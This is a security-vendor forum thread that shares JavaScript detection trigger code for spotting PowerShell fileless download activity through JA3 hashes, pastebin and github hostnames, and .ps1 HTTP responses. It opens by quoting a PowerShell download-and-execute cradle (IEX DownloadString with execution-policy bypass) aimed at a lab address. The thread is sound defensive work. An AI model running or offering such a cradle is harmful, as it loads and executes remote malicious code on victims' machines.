NDR POW (2/27): POSH Watcher

A new Iranian Malware variant is out that is preying on US Government facilities but the TTPs are similar to many other forms of Malware that exist. It starts with the typical Office file downloaded via mail or web and the user clicks “enable content” which disables EDR countermeasures. Then it executes the obligatory script that runs a PowerShell command that is something like:

powershell.exe -exec Bypass -noexit -C “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.0.100/ps1.ps1’)”

Above is the example I am using in my lab but it is similar to several other efforts to download, invoke and run PowerShell modules without downloading them locally, again, evading EDR detection.

The trigger/Detector looks for two things depending on the two events we are checking (SSL_OPEN and HTTP_RESPONSE)

SSL_OPEN:
We match the PowerShell JA3 Hash with two host names, ‘pastebin’ and ‘github’ both of which are known to house malicious POSH content that is then loaded into memory to be used as a file-less attack. I have a 2nd ‘noisy’ version that requires some white listing but other high-fidelity context criteria could include the lack of SNI value, missing Cert Subject and newly minted (not valid before) dates. If interested in doing some white listing let me know, for now, we are just looking at pastbin and github.

HTTP_REQUEST:
On this event I look for an ‘.endsWith’ value of .ps1 (dot ‘ps1’) AND a Content-Type of ‘application/octet-stream’. The two together are a nice indicator that someone is loading a POSH script via HTTP. The command above hides the User-Agent value (something I used to check for) so the combination of content-type and .ps1 extension should yield good fidelity.

Below we get something like the following: image

Or for SSL_OPEN:
image
Trigger Code Below:
indent preformatted text by 4 spaces

// Description: Watching for PowerShell usage that may be out of the oridnary
// Events: SSL_OPEN, HTTP_REQUEST
// Assignments: SSL Clients, HTTP Clients
var cip = Flow.client.ipaddr;    
var sip = Flow.server.ipaddr;

// Early exits
if ( ! Flow.server.ipaddr.isExternal ) {
    return;
}

if(event == "SSL_OPEN") {
if(SSL.host === null) { return; }

if(SSL.host.match(/pastebin/i) || SSL.host.match(/github/i)) { 

    //#############################
    //# POSH/BITSADMIN JA3 Hashes #
    //#############################
    let supsect_ja3_hashes = cache('suspect_ja3_hashes', () => ({
                '13cc575f247730d3eeb8ff01e76b245f':'PowerShell/BitsAdmin/PowerShell 4.0 Windows Server 2012RT',
                '5e12c14bda47ac941fc4e8e80d0e536f':'PowerShell/BitsAdmin/PowerShell 4.0 Windows Server 2012RT',
                '2c14bfb3f8a2067fbc88d8345e9f97f3':'PowerShell/BitsAdmin Windows Server 2012RT',
                '613e01474d42ebe48ef52dff6a20f079':'PowerShell/BitsAdmin Windows Server 2012RT',
                '05af1f5ca1b87cc9cc9b25185115607d':'BitsAdmin/PowerShell 5.0 Windows 7 64 bit enterprise',
                '8c4a22651d328568ec66382a84fc505f':'BitsAdmin/PowerShell 5.0 Windows 7 64 bit enterprise',
                '235a856727c14dba889ddee0a38dd2f2':'BitsAdmin/PowerShell 5.1 Server 2016',
                '17b69de9188f4c205a00fe5ae9c1151f':'BitsAdmin/PowerShell 5.1 Server 2016',
                'd0ec4b50a944b182fc10ff51f883ccf7':'PowerShell/BitsAdmin (Microsoft BITS/7.8) Server 2016',
                '294b2f1dc22c6e6c3231d2fe311d504b':'PowerShell/BitsAdmin (Microsoft BITS/7.8) Server 2016',
                '54328bd36c14bd82ddaa0c04b25ed9ad':'BitsAdmin/PowerShell 5.1 Windows 10',
                'fc54e0d16d9764783542f0146a98b300':'BitsAdmin/PowerShell 5.1 Windows 10',
                '2863b3a96f1b530bc4f5e52f66c79285':'BitsAdmin/PowerShell 6.0 Windows Server 2012RT',
                '40177d2da2d0f3a9014e7c83bdeee15a':'BitsAdmin/PowerShell 6.0 Windows Server 2012RT',
                '36f7277af969a6947a61ae0b815907a1':'PowerShell/BitsAdmin Windows 7 32 bit enterprise',
    }));


    let hash = SSL.ja3Hash;

    for ( let ja3 in supsect_ja3_hashes ) {
        if ( hash.includes(ja3) ) {
            log("Match: " + Flow.client.ipaddr + " "  + SSL.host + " "+ supsect_ja3_hashes[ja3]);
            detect();
        

            function detect() {
                if(SSL.host === null) { sslhost = "Unknown"; } else { var sslhost = SSL.host; }

                commitDetection('POSHWeb', {
                    categories: ['sec.caution'],
                    title: cip + ' observed connecting to ' + sip + ' for the name ' + sslhost + ' JA3: ' + SSL.ja3Hash,
                    participants: [
                        { role: 'offender', object: Flow.server.ipaddr },
                        { role: 'victim', object: Flow.client.device }
                    ],
                    description: '- **Reason: **' + " PowerShell/BitsAdmin JA3 Observed: " + supsect_ja3_hashes[ja3] + "\n\n " ,
                    identityKey: [
                        Flow.server.ipaddr,
                        Flow.client.ipaddr,
                        SSL.ja3Hash
                    ].join('!!'),
                    riskScore: 85
                    })
                    log("Committed ")
                };
        }
        }
    }
}

//#########################################
//# Check for .ps extensions Activity     #
//#########################################

if(event == "HTTP_RESPONSE") {

if(HTTP.uri.toLowerCase().endsWith(".ps1") && HTTP.contentType == "application/octet-stream") {
log(cip + " " + sip + "\n" + HTTP.payload);
            commitDetection('POSHWeb', {
                categories: ['sec.caution'],
                title: HTTP.origin + ' observed connecting to ' + sip + ' for the name ' + HTTP.host + ' URI: ' + HTTP.uri,
                participants: [
                    { role: 'offender', object: Flow.server.ipaddr },
                    { role: 'victim', object: Flow.client.device }
                ],
                description: '- **Reason: **' + " Start of Payload: " + HTTP.payload.slice(0,64)  + "\n\n " ,
                identityKey: [
                    Flow.server.ipaddr,
                    HTTP.origin,
                    HTTP.host
                ].join('!!'),
                riskScore: 85
        })
    }
}

Can you wrap your code in to a code block?

Thanks.

Trying, I can NEVER get this right

Hi John,
As discussed over email, not sure how applicable this ever will be in real-world scenarios, but here is the JA3 for the latest Mac Powershell. I could see this being useful for internal testing or if you want to do a quick Proof of Detection in a POC:

 'e4d448cdfe06dc1243c1eb026c74ac9a': 'PowerShell/BitsAdmin/PowerShell 7 MAC',

This is an awesome trigger and custom detection! How would we have the detection cards provide the specific PS command that was ran or detected with the traffic?

1 Like

DJ, thanks for the kind feedback! If it is downloaded via SSL we likely will not see the commands as they will be encrypted but if it is a .ps1 file transferred via HTTP (and there are some instances where bad actors operate this way we can perform a precision PCAP and have the PCAP file waiting for you (the info should be in the payload).

Also, if the POSH file does some sort of remoting, it’s possible we can see/assert what they are doing. (DCSync, Creating/Starting/Stopping Services, etc).

Feel free to reach out to me directly if you have any further questions.

John

1 Like

Hello John,

Ahh I see, and that’s where the session key forwarder software comes into play with SSL decryption. It is good to know that we can drill-down on records and the related custom detection pcap for .ps1 file transfers that occur over HTTP. Having this visibility is awesome and it brings additional value to Reveal(x). Thanks and I appreciate the additional information.